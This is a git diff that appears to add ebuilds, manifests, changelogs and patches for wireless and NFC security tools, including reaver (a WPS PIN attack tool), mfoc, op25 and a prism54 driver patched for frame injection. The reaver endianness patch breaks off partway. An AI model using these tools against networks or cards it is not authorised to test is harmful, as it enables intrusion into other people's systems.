+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/mfoc"
+SRC_URI="https://nfc-tools.googlecode.com/files/mfoc-0.10.2.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND=""
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-libnfc-1.5.1.patch || die
+ eautoreconf
+}
+
+src_install() {
+ DESTDIR="${D}" emake install || die
+}
diff --git a/net-wireless/nfcd/Manifest b/net-wireless/nfcd/Manifest
new file mode 100644
index 00000000..96f6d3f7
--- /dev/null
+++ b/net-wireless/nfcd/Manifest
@@ -0,0 +1 @@
+EBUILD nfcd-9999.ebuild 594 RMD160 a6943b9f5f2292e86ee46819b96a5e0a846b3274 SHA1 8243c5dd876cb14a64215f25480f5c390556b5ea SHA256 9fb7ad7c8d90883cb857a161b9b2dd0a29ba1abcd38bd350e278e5ac15dca781
diff --git a/net-wireless/nfcd/nfcd-9999.ebuild b/net-wireless/nfcd/nfcd-9999.ebuild
new file mode 100644
index 00000000..38a25e14
--- /dev/null
+++ b/net-wireless/nfcd/nfcd-9999.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit cmake-utils subversion
+DESCRIPTION="a daemon which access NFC Devices and Targets"
+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/nfcd"
+SRC_URI=""
+ESVN_REPO_URI="http://nfc-tools.googlecode.com/svn/trunk/nfcd"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-libs/libndev
+ net-wireless/libfreefare
+ dev-libs/libnfc"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ cmake-utils_src_install
+ insinto /etc/dbus-1/system.d/
+ doins nfcd.conf || die
+}
diff --git a/net-wireless/op25/Manifest b/net-wireless/op25/Manifest
new file mode 100644
index 00000000..1208f361
--- /dev/null
+++ b/net-wireless/op25/Manifest
@@ -0,0 +1 @@
+EBUILD op25-9999.ebuild 1347 SHA256 02e2e0543124bb358efe493ef8a8502aeac9bcddb8eb92125aa8f951528b9f85 SHA512 46e7fabf56aee6a899e54a30954085eabcdc82c00fdd9f03eaace704138bb2e2acef29ddf8dedbfe2d9eb4db261d785f0516235b019356d80c3a97b7d92ff14b WHIRLPOOL 2622e6c2ee06a96fe402952202d3124bb2d712d1ee67f707db713ba90632f64fcc7ea7ead80448a2613caceeb4ad27db4d344b948371105de61b8c2efd5d21db
diff --git a/net-wireless/op25/op25-9999.ebuild b/net-wireless/op25/op25-9999.ebuild
new file mode 100644
index 00000000..716f0d91
--- /dev/null
+++ b/net-wireless/op25/op25-9999.ebuild
@@ -0,0 +1,76 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+PYTHON_DEPEND="2"
+
+inherit subversion autotools python
+
+DESCRIPTION="software-defined analyzer for APCO P25 signals"
+HOMEPAGE="http://op25.osmocom.org/wiki"
+ESVN_REPO_URI="http://op25.osmocom.org/svn/trunk"
+
+LICENSE="GPL"
+SLOT="0"
+KEYWORDS="-*"
+IUSE=""
+
+DEPEND="net-wireless/gnuradio
+ sci-libs/itpp
+ dev-libs/boost
+ net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+ python_set_active_version 2
+ python_pkg_setup
+}
+
+src_prepare() {
+ cd "${S}"/blocks
+ #eautoreconf
+ ./bootstrap
+
+ cd "${S}"/imbe_vocoder
+ #eautoreconf
+ ./bootstrap
+
+ cd "${S}"/repeater
+ #eautoreconf
+ ./bootstrap
+}
+
+src_configure() {
+ cd "${S}"/blocks
+ econf
+
+ cd "${S}"/imbe_vocoder
+ econf
+
+ cd "${S}"/repeater
+ econf
+}
+src_compile() {
+ cd "${S}"/blocks
+ sed -i 's#-I$(GNURADIO_CORE_INCLUDEDIR)/swig#-I$(GNURADIO_CORE_INCLUDEDIR)/swig -I$(includedir)/gruel/swig#' Makefile.common
+ emake
+
+ cd "${S}"/imbe_vocoder
+ emake
+
+ cd "${S}"/repeater
+ sed -i 's#-I$(GNURADIO_CORE_INCLUDEDIR)/swig#-I$(GNURADIO_CORE_INCLUDEDIR)/swig -I$(includedir)/gruel/swig#' Makefile.common
+ emake
+}
+src_install() {
+ cd "${S}"/blocks
+ emake DESTDIR="${ED}" install
+
+ cd "${S}"/imbe_vocoder
+ emake DESTDIR="${ED}" install
+
+ cd "${S}"/repeater
+ emake DESTDIR="${ED}" install
+}
diff --git a/net-wireless/prism54/ChangeLog b/net-wireless/prism54/ChangeLog
new file mode 100644
index 00000000..737b8ac1
--- /dev/null
+++ b/net-wireless/prism54/ChangeLog
@@ -0,0 +1,49 @@
+# ChangeLog for net-wireless/prism54
+# Copyright 2000-2005 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /root/portage/net-wireless/prism54/ChangeLog,v 1.1.1.1 2006/03/22 23:30:35 grimmlin Exp $
+
+*prism54-20050724
+
+ 22 mar 2006; Michael Zanetta <grimmlin@pentoo.ch>
+ prism54-20050724.ebuild: Added injection patch,
+ removed version check
+ files/prism54-svn-20050724.patch: Added injection patch
+
+ 04 Jul 2005; Stefan Schweizer <genstef@gentoo.org>
+ prism54-20050125.ebuild:
+ sys-apps/pcmcia-cs -> virtual/pcmcia(linux-mod.eclass)
+
+*prism54-20050125 (25 Jan 2005)
+
+ 25 Jan 2005; Stefan Schweizer <genstef@gentoo.org>
+ -prism54-20040208.ebuild, +prism54-20050125.ebuild:
+ Version bump thanks to Scott Paul Robertson <spr5@email.byu.edu> and Josh
+ Nichols <nichoj@rpi.edu> in bug 71632
+
+ 03 Jan 2005; Stefan Schweizer <genstef@gentoo.org>
+ prism54-20040208.ebuild:
+ Adding block to avoid file collision with prism54-firmware
+
+ 02 Jan 2005; Daniel Drake <dsd@gentoo.org> prism54-20040208.ebuild:
+ Change virtual/kernel to virtual/linux-sources
+
+ 07 Jun 2004; Aron Griffis <agriffis@gentoo.org> prism54-20040208.ebuild:
+ Fix typo and check
+
+ 24 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+ Fixed the location of the firmware file. bug #41956
+
+ 09 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+ Change installation location to where prism54 people put it.
+
+ 08 Feb 2004; Peter Johanson <latexer@gentoo.org> prism54-20040208.ebuild:
+ Added wireless-tools RDEPEND and info about module versioning.
+
+*prism54-20040208 (08 Feb 2004)
+
+ 08 Feb 2004; Peter Johanson <latexer@gentoo.org> metadata.xml,
+ prism54-20040208.ebuild:
+ Initial commit. Thanks to all in bug #40574 for the help. For now, not
+ mirroring the firmware image until we know if we can. As usual, disable
+ sandbox to emerge with 2.6 kernels until bug #32737 is resolved.
+
diff --git a/net-wireless/prism54/Manifest b/net-wireless/prism54/Manifest
new file mode 100644
index 00000000..8b8a4139
--- /dev/null
+++ b/net-wireless/prism54/Manifest
@@ -0,0 +1,5 @@
+AUX prism54-svn-20050724.patch 459 RMD160 b17c8f93fbe41a36f447414a58d91ee5c95bcc4d SHA1 4cc5a436f228940ab7fd453d0dd56e1f19a9f756 SHA256 fab08b80be596aee2b7a63790733f12a2355e3a05c57baa2e9017d897547f3fc
+DIST prism54-svn-20050724.tgz 92567 RMD160 fb6296fa508deb432997b3f0a92e5e069682bc52 SHA1 b1f8d369f8fd0ecadcac8e8c9c2632cd8f59b834 SHA256 bf988fe0d5fb400aa66478f5277e0e4438ac74ebe0724cdf9aaf45d4a8d6c9e0
+EBUILD prism54-20050724.ebuild 1511 RMD160 02c0a48a9d20b0d395f04169e071593be8fe7ffb SHA1 b9fe2d51af46002aada318a00d606592b4ca1bd5 SHA256 965e3256012d1aba92812f457d1b7ff93987d422d7270cce33f5898c93d97704
+MISC ChangeLog 1920 RMD160 422d421f8f15a530d293ea42eda014d54624c84d SHA1 71ed2c2896de4404acceb76d243030f09496cf0a SHA256 b787085201ad9f55f17321aa20d5dc977514a6f8016c9685af657c395bf5d4d3
+MISC metadata.xml 417 RMD160 9bcd8b5bc8b9ac5ace586a62a0c00b8df0d4d574 SHA1 4bccfbc845c5560cc937c0421a30a22a77f17f53 SHA256 3b334668cd4186209045d3ca8ebac10e0de886c6eff6af4a722f6f27104dc983
diff --git a/net-wireless/prism54/files/digest-prism54-20050724 b/net-wireless/prism54/files/digest-prism54-20050724
new file mode 100644
index 00000000..9fb0179f
--- /dev/null
+++ b/net-wireless/prism54/files/digest-prism54-20050724
@@ -0,0 +1,3 @@
+MD5 898440160410baa17d0bdf51439a1ee6 prism54-svn-20050724.tgz 92567
+RMD160 fb6296fa508deb432997b3f0a92e5e069682bc52 prism54-svn-20050724.tgz 92567
+SHA256 bf988fe0d5fb400aa66478f5277e0e4438ac74ebe0724cdf9aaf45d4a8d6c9e0 prism54-svn-20050724.tgz 92567
diff --git a/net-wireless/prism54/files/prism54-svn-20050724.patch b/net-wireless/prism54/files/prism54-svn-20050724.patch
new file mode 100755
index 00000000..aa15cb4a
--- /dev/null
+++ b/net-wireless/prism54/files/prism54-svn-20050724.patch
@@ -0,0 +1,13 @@
+diff -ur ../prism54-svn-20050724/ksrc/islpci_dev.c ./ksrc/islpci_dev.c
+--- ../prism54-svn-20050724/ksrc/islpci_dev.c 2005-03-08 16:32:34.000000000 +0100
++++ ./ksrc/islpci_dev.c 2005-07-26 18:56:40.000000000 +0200
+@@ -758,9 +758,6 @@
+ pci_unmap_single(priv->pdev, buf->pci_addr,
+ MGMT_FRAME_SIZE, PCI_DMA_FROMDEVICE);
+ buf->pci_addr = 0;
+- if (buf->skb)
+- dev_kfree_skb(buf->skb);
+- buf->skb = NULL;
+ }
+
+ /* clean up data rx buffers */
diff --git a/net-wireless/prism54/metadata.xml b/net-wireless/prism54/metadata.xml
new file mode 100644
index 00000000..fb5c54c1
--- /dev/null
+++ b/net-wireless/prism54/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>mobile</herd>
+<maintainer>
+ <email>latexer@gentoo.org</email>
+ <name>Peter Johanson</name>
+ <description>I don't own any cards with this chipset yet. Feel free to send me one if you want this package more actively maintained by yours truly.</description>
+</maintainer>
+</pkgmetadata>
diff --git a/net-wireless/prism54/prism54-20050724.ebuild b/net-wireless/prism54/prism54-20050724.ebuild
new file mode 100644
index 00000000..7db6c339
--- /dev/null
+++ b/net-wireless/prism54/prism54-20050724.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /root/portage/net-wireless/prism54/prism54-20050724.ebuild,v 1.1.1.1 2006/03/22 23:30:35 grimmlin Exp $
+
+EAPI="2"
+
+inherit linux-mod
+
+MY_P=${P/prism54-/prism54-svn-}
+S=${WORKDIR}/${MY_P}
+DESCRIPTION="Driver for Intersil Prism GT / Prism Duette wireless chipsets with injection patch"
+HOMEPAGE="http://prism54.org/"
+SRC_URI="http://www.pentoo.ch/distfiles/${MY_P}.tgz"
+LICENSE="GPL-2"
+KEYWORDS="~x86"
+IUSE="pcmcia"
+RDEPEND="net-wireless/prism54-firmware
+ net-wireless/wireless-tools"
+
+MODULE_NAMES="prism54(net:${S}/ksrc)"
+BUILD_PARAMS="KVER=${KV_FULL} KDIR=${KV_DIR}"
+BUILD_TARGETS="modules"
+
+CONFIG_CHECK="!PRISM54 NET_RADIO FW_LOADER"
+PRISM54_ERROR="You need prism54-firmware for the in-kernel driver or deselect
+the in-kernel driver to use the (probably older) driver from this ebuild."
+NET_RADIO_ERROR='You should enable "Wireless LAN drivers (non-hamradio) &
+Wireless Extensions"[CONFIG_NET_RADIO] in your kernel config'
+FW_LOADER_ERROR="Make sure you have CONFIG_FW_LOADER enabled in your kernel."
+
+use pcmcia && CONFIG_CHECK="${CONFIG_CHECK} PCMCIA CARDBUS"
+PCMCIA_ERROR=CARDBUS_ERROR="General setup --->
+ PCMCIA/CardBus support --->
+ PCMCIA/CardBus support (m or y)
+ [*] CardBus support (Important!)"
+
+pkg_setup() {
+ linux-mod_pkg_setup
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/prism54-svn-20050724.patch
+}
+
+src_install() {
+ linux-mod_src_install
+ dodoc README ksrc/ChangeLog
+}
diff --git a/net-wireless/reaver/ChangeLog b/net-wireless/reaver/ChangeLog
new file mode 100644
index 00000000..ba0bca66
--- /dev/null
+++ b/net-wireless/reaver/ChangeLog
@@ -0,0 +1,10 @@
+# ChangeLog for net-wireless/reaver
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/ChangeLog,v 1.1 2012/05/15 19:39:11 maksbotan Exp $
+
+*reaver-1.4 (15 May 2012)
+
+ 15 May 2012; Maxim Koltsov <maksbotan@gentoo.org> +metadata.xml,
+ +reaver-1.4.ebuild:
+ Add net-wireless/reaver, thanks to Oleg Kravchenko
+
diff --git a/net-wireless/reaver/Manifest b/net-wireless/reaver/Manifest
new file mode 100644
index 00000000..67732757
--- /dev/null
+++ b/net-wireless/reaver/Manifest
@@ -0,0 +1,12 @@
+AUX 0001-wpscrack-big-endian-fixes.patch 21117 SHA256 dd44a966424a5c207db5658374ce68232a7a3cacdcce90772f7c610c441c7d26 SHA512 e6de886ba2f63cee8fd9324c512e5060164fe5eef35633b105ccb5aea11bbf1f3d43ca5b84a81b6312085d03be098945d231655dab4beb5719f45abfdb128f17 WHIRLPOOL adf26ab9c6ee24c44556e77d82fe42d869d44ac42f36becc4f6e95af0de680fa23de6caf81c612af0d723f20a585ea242d1fb1fba97efee952350d465b06001b
+AUX 0002-Use-the-current-directory-for-storing-and-loading-se.patch 1672 SHA256 8decc8453936f10df1ec5af8ce5322c527853ed7fde3fccf2996d92f64ecc691 SHA512 3fa5ba7e0b3784bfe4d28efa63dd9ef64d496c33d6538d38fc867c669ac978d1a4512334a1103eb9bf0f898e12b839dbe287bddad6238f54979b17ba0ffd095e WHIRLPOOL a944fecee470fc57fe2211a335d08ead2a7976839b7da2159b49929e93c1d2027ca64b0ad8ed49bb4ceeed67ed1407f7a1d626316ca536d1972aeb4e540e22a6
+AUX 0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch 1604 SHA256 02ecd27516806917d2970d67f408139f50644bb3bdfed94300ea4703e295b468 SHA512 8960223cf5f84a7b999b2b79d195d2b5e690dd66338f97549a931df9b4156823190b03f37702317fb3af6aac91712b46866dba955b0ee60f6dd4a3630f1b7fd5 WHIRLPOOL 8f4335d3786e893ceedf6a6949903b6fecd29566746ccb4fd95e57236195ea23fa68548e769d1e1cbd3ac2e8cfca2167b99242d7a3a086460f47676ce9191df4
+AUX 0004-wash-probe-request.patch 687 SHA256 66b27d18353ba85612dfd4806a730ca004027a86b80de5bc8a0c869800e429a9 SHA512 cdf1bf370b2915dd87afe93aa8df4db0ad9124eb076ce1398a384afe1b5e66c9499c891857b21ec7897d0d52a1fea0ad635163d796eca981db7956d8bb7c7c6e WHIRLPOOL ae381d3598721151beed7eef46678e0208baf64905bb1200eda547be7d500ea7d6a9cd27033385982cea0b117bca167848f6c5fd93808000ec792f95b10a04e8
+AUX 0005-soreau-show-status-r2.patch 2378 SHA256 ff0b84b2c31fe69a990a2a3b2a161fd83d6b05d9fafc27cbe61d76e2862c5f82 SHA512 558c1c393276bb5c65ef8a32e9b0cdbd1cf55c08a11ddcfdd73f90a901a709f2306d89f2eeab509f97478f9807401784fcb1bad0159c97b1f64f85701cfbab6a WHIRLPOOL c6b180ed58ae5bfbfa62ffbfef2ba812c0d8ee54a52520c98411a0aad4fac6ad2ea9f9a76663e6781af00f324573c52b4381157cc9867ca1a1db505b66821523
+AUX 0005-soreau-show-status.patch 2378 SHA256 0c7ef676d989139b599da93de20586bc78a8f18208696ff3b76144791720fbe7 SHA512 9211353efe8c47defe924b2afce2f3412089ce810bbe48e8dbf47b7a648972d09ef74b9d1ca2de907975bb28b5aace70d86c1656b326e65d0298f023a5bb0936 WHIRLPOOL cda5ddcc3a976b2d9519ffe4ecc2c870caebd4a5daa62f6ce130e84338e843eb01efb36dce0c63ebb1197f4daecd99921cca9473809a94e5006be73f2f6acb7f
+DIST reaver-1.4.tar.gz 766603 SHA256 add3050a4a05fe0ab6bfb291ee2de8e9b8a85f1e64ced93ee27a75744954b22d SHA512 59f2d6f8aa6228988ce5d1c102d9a48b2a23e582ff3d9afe39d7c9717b7e4be059362fdd21a3e5f5d59948df1a7616acdaa6df20f139e9c5aa9bd673f764dfbc WHIRLPOOL 5b8a91fe97bf08d6dc544b41dd04baedb9488d574e9a0695d8babeb34a9fa5acc81cfc86899c600b12b445cb83887dfbb18517f2ebbd5d34ab27e8c9ce428e38
+EBUILD reaver-1.4-r1.ebuild 840 SHA256 81c5f8f881ed104f4aa3e3e9128db188735e1679eb1e311a34c160281886efbf SHA512 4beab059d5ac2de4bd45e7382f9e67c1387fd984c8dba6efe0789528123b665b29d6f3874ad2dd4a4c4366a1c4d0fc3f06a09da158ed91aef5ea56390c4b1a2d WHIRLPOOL cb8016ade89e0f0b4b72be9507552305a5496c650555e34b016628f1841bcb26d9474be955871875cb9c535b07825b46f8501b65060258b6fb625576164e239c
+EBUILD reaver-1.4-r2.ebuild 933 SHA256 33130d270a2862b91f3893d9a91bf4bf7cea4368357c7fc38205330b69a0a57a SHA512 2653ed7172b1f4fd068ed75c9adaa0a6d3161e014c5a65fdc35f598683b0e97bdddeca7635dde1f0b0b03f7c431b07a09d1770132c0c5199cd0a37c6bc9f5879 WHIRLPOOL 82bb0adf3f85ba886e389bcb2708d1a942cb22a8c0ff7529d0044c6ebd87c6b1b5eaea89a79571120d4a0f0ba469732009f0cc0f37d41fb8c7971bb630fe2681
+EBUILD reaver-1.4-r3.ebuild 954 SHA256 2ba94abd0d367d5faa1283490b4e92b857e2389c26b5f5d980c39d26064a233e SHA512 d2124d31311aad3779f3ceba76ef649c72c63d5f57051d1db31ea57b4eaa8330c04bd605ae07bb8c9beca72f90386d19e0d576fc8093342bb3e59b7f6f9d8d31 WHIRLPOOL 9a9af4a366fc6f7d6e78da4e26975467461327838fc207ea6234a9b5a22cfd9cbcb365352b3985501150cd1e1ce80dc9a3fa8e77a01cedd5ce953370b58c59c7
+MISC ChangeLog 384 SHA256 75ed384fee5277726aba559464ada1975a27228860de9856bb8ea5b1d2f0e610 SHA512 46e5da5e6b98546f0f4ef77af00fb48ef0a293bc6935648e63a571caae6d605b20eaf3ea9c5763fa4848a7a6343fb047820e46925cf56bcb1063c35d304672bb WHIRLPOOL 3e0eb8f278eb5c0e78618a1da83767dc9448aab6aedd7064b5fecc4bb75fc0ad657750e74f0adc1953cb634d0f18b45b2c9f865f9fcb99a7536d12d5dfb371ce
+MISC metadata.xml 249 SHA256 47ff8178840f738d37ca36d24fd9ec2823cd324e7510fc69a25621824f69e302 SHA512 fbca9bfde0fceeb77572d70902f1c76e4e132f7c0717a9cf4d4d1da37fafa08fd6d2df521a00fc6a9595f21141a6c8a21366afbadb950eb54f8480b498a41e65 WHIRLPOOL e0254e45cbd140b5ff3592720a06479367f3d769ef7ad3d7a0766f2db22706edebbf974b5926cef6add2b55e6bad0f698b9ec316c7a9fa53cdbee12bd7e13121
diff --git a/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch b/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch
new file mode 100644
index 00000000..da76c2e3
--- /dev/null
+++ b/net-wireless/reaver/files/0001-wpscrack-big-endian-fixes.patch
@@ -0,0 +1,565 @@
+From 4e7af9f022996cb0a03b30f6af265b757807dfa2 Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Wed, 27 Jun 2012 17:44:55 +0400
+Subject: [PATCH 1/3] wpscrack: big-endian fixes
+
+This should fix access to the radiotap, 802.11, LLC/SNAP and WFA
+headers' fields. Run-time tested on an ar71xx BE system.
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/80211.c | 65 +++++++++++++++++++------------
+ src/builder.c | 23 +++++------
+ src/defs.h | 116 +++++++++++++++++++++++++++++++++++++++-----------------
+ src/exchange.c | 23 ++++++-----
+ src/wpsmon.c | 13 ++++--
+ 5 files changed, 151 insertions(+), 89 deletions(-)
+
+diff --git a/src/80211.c b/src/80211.c
+index c2aff59..19f1e92 100644
+--- a/src/80211.c
++++ b/src/80211.c
+@@ -90,17 +90,19 @@ void read_ap_beacon()
+ if(header.len >= MIN_BEACON_SIZE)
+ {
+ rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+- frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
+-
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
++
+ if(is_target(frame_header))
+ {
+- if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON)
++ if((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON))
+ {
+- beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header));
++ beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header));
+ set_ap_capability(beacon->capability);
+
+ /* Obtain the SSID and channel number from the beacon packet */
+- tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
++ tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+ channel = parse_beacon_tags(packet, header.len);
+
+ /* If no channel was manually specified, switch to the AP's current channel */
+@@ -135,29 +137,31 @@ int8_t signal_strength(const u_char *packet, size_t len)
+ {
+ header = (struct radio_tap_header *) packet;
+
+- if((header->flags & SSI_FLAG) == SSI_FLAG)
++ uint32_t flags = __le32_to_cpu(header->flags);
++
++ if((flags & SSI_FLAG) == SSI_FLAG)
+ {
+- if((header->flags & TSFT_FLAG) == TSFT_FLAG)
++ if((flags & TSFT_FLAG) == TSFT_FLAG)
+ {
+ offset += TSFT_SIZE;
+ }
+
+- if((header->flags & FLAGS_FLAG) == FLAGS_FLAG)
++ if((flags & FLAGS_FLAG) == FLAGS_FLAG)
+ {
+ offset += FLAGS_SIZE;
+ }
+
+- if((header->flags & RATE_FLAG) == RATE_FLAG)
++ if((flags & RATE_FLAG) == RATE_FLAG)
+ {
+ offset += RATE_SIZE;
+ }
+
+- if((header->flags & CHANNEL_FLAG) == CHANNEL_FLAG)
++ if((flags & CHANNEL_FLAG) == CHANNEL_FLAG)
+ {
+ offset += CHANNEL_SIZE;
+ }
+
+- if((header->flags & FHSS_FLAG) == FHSS_FLAG)
++ if((flags & FHSS_FLAG) == FHSS_FLAG)
+ {
+ offset += FHSS_FLAG;
+ }
+@@ -196,11 +200,13 @@ int is_wps_locked()
+ if(header.len >= MIN_BEACON_SIZE)
+ {
+ rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+- frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
+
+ if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0)
+ {
+- if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON)
++ if((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON))
+ {
+ if(parse_wps_parameters(packet, header.len, &wps))
+ {
+@@ -411,24 +417,30 @@ int associate_recv_loop()
+ if(header.len >= MIN_AUTH_SIZE)
+ {
+ rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+- dot11_frame = (struct dot11_frame_header *) (packet + rt_header->len);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ dot11_frame = (struct dot11_frame_header *) (packet + rt_header_len);
+
+ if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) == 0) &&
+ (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) == 0))
+ {
+- if(dot11_frame->fc.type == MANAGEMENT_FRAME)
++ if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE)) ==
++ __cpu_to_le16(IEEE80211_FTYPE_MGMT))
+ {
+- auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len);
+- assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len);
++ auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len);
++ assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len);
+
+ /* Did we get an authentication packet with a successful status? */
+- if((dot11_frame->fc.sub_type == SUBTYPE_AUTHENTICATION) && (auth_frame->status == AUTHENTICATION_SUCCESS))
++ if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_STYPE_AUTH)
++ && (auth_frame->status == __cpu_to_le16(AUTHENTICATION_SUCCESS)))
+ {
+ ret_val = AUTH_OK;
+ break;
+ }
+ /* Did we get an association packet with a successful status? */
+- else if((dot11_frame->fc.sub_type == SUBTYPE_ASSOCIATION) && (assoc_frame->status == ASSOCIATION_SUCCESS))
++ else if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) ==
++ __cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP)
++ && (assoc_frame->status == __cpu_to_le16(ASSOCIATION_SUCCESS)))
+ {
+ ret_val = ASSOCIATE_OK;
+ break;
+@@ -455,13 +467,14 @@ enum encryption_type supported_encryption(const u_char *packet, size_t len)
+ if(len > MIN_BEACON_SIZE)
+ {
+ rt_header = (struct radio_tap_header *) radio_header(packet, len);
+- beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header));
+- offset = tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
++ size_t rt_header_len = __le16_to_cpu(rt_header->len);
++ beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header));
++ offset = tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+
+ tag_len = len - tag_offset;
+ tag_data = (const u_char *) (packet + tag_offset);
+
+- if((beacon->capability & CAPABILITY_WEP) == CAPABILITY_WEP)
++ if((__le16_to_cpu(beacon->capability) & CAPABILITY_WEP) == CAPABILITY_WEP)
+ {
+ enc = WEP;
+
+@@ -509,7 +522,7 @@ int parse_beacon_tags(const u_char *packet, size_t len)
+ struct radio_tap_header *rt_header = NULL;
+
+ rt_header = (struct radio_tap_header *) radio_header(packet, len);
+- tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
++ tag_offset = __le16_to_cpu(rt_header->len) + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+
+ if(tag_offset < len)
+ {
+@@ -548,7 +561,7 @@ int parse_beacon_tags(const u_char *packet, size_t len)
+ {
+ if(ie_len == 1)
+ {
+- memcpy((int *) &channel, channel_data, ie_len);
++ channel = *(uint8_t*)channel_data;
+ }
+ free(channel_data);
+ }
+@@ -603,13 +616,13 @@ int check_fcs(const u_char *packet, size_t len)
+ if(len > 4)
+ {
+ /* Get the packet's reported FCS (last 4 bytes of the packet) */
+- memcpy((uint32_t *) &fcs, (packet + (len-4)), 4);
++ fcs = __le32_to_cpu(*(uint32_t*)(packet + (len-4)));
+
+ /* FCS is not calculated over the radio tap header */
+ if(has_rt_header())
+ {
+ rt_header = (struct radio_tap_header *) packet;
+- offset += rt_header->len;
++ offset += __le16_to_cpu(rt_header->len);
+ }
+
+ if(len > offset)
+diff --git a/src/builder.c b/src/builder.c
+index 37f2de7..6bf89e7 100644
+--- a/src/builder.c
++++ b/src/builder.c
+@@ -44,9 +44,8 @@ const void *build_radio_tap_header(size_t *len)
+ memset((void *) buf, 0, sizeof(struct radio_tap_header));
+ rt_header = (struct radio_tap_header *) buf;
+
+- rt_header->len = sizeof(struct radio_tap_header);
+-
+- *len = rt_header->len;
++ *len = sizeof(struct radio_tap_header);
++ rt_header->len = __cpu_to_le16(*len);
+ }
+
+ return buf;
+@@ -67,9 +66,9 @@ const void *build_dot11_frame_header(uint16_t fc, size_t *len)
+
+ frag_seq += SEQ_MASK;
+
+- header->duration = DEFAULT_DURATION;
+- memcpy((void *) &header->fc, (void *) &fc, sizeof(struct frame_control));
+- header->frag_seq = frag_seq;
++ header->duration = __cpu_to_le16(DEFAULT_DURATION);
++ header->fc = __cpu_to_le16(fc);
++ header->frag_seq = __cpu_to_le16(frag_seq);
+
+ memcpy((void *) header->addr1, get_bssid(), MAC_ADDR_LEN);
+ memcpy((void *) header->addr2, get_mac(), MAC_ADDR_LEN);
+@@ -91,8 +90,8 @@ const void *build_authentication_management_frame(size_t *len)
+ memset((void *) buf, 0, *len);
+ frame = (struct authentication_management_frame *) buf;
+
+- frame->algorithm = OPEN_SYSTEM;
+- frame->sequence = 1;
++ frame->algorithm = __cpu_to_le16(OPEN_SYSTEM);
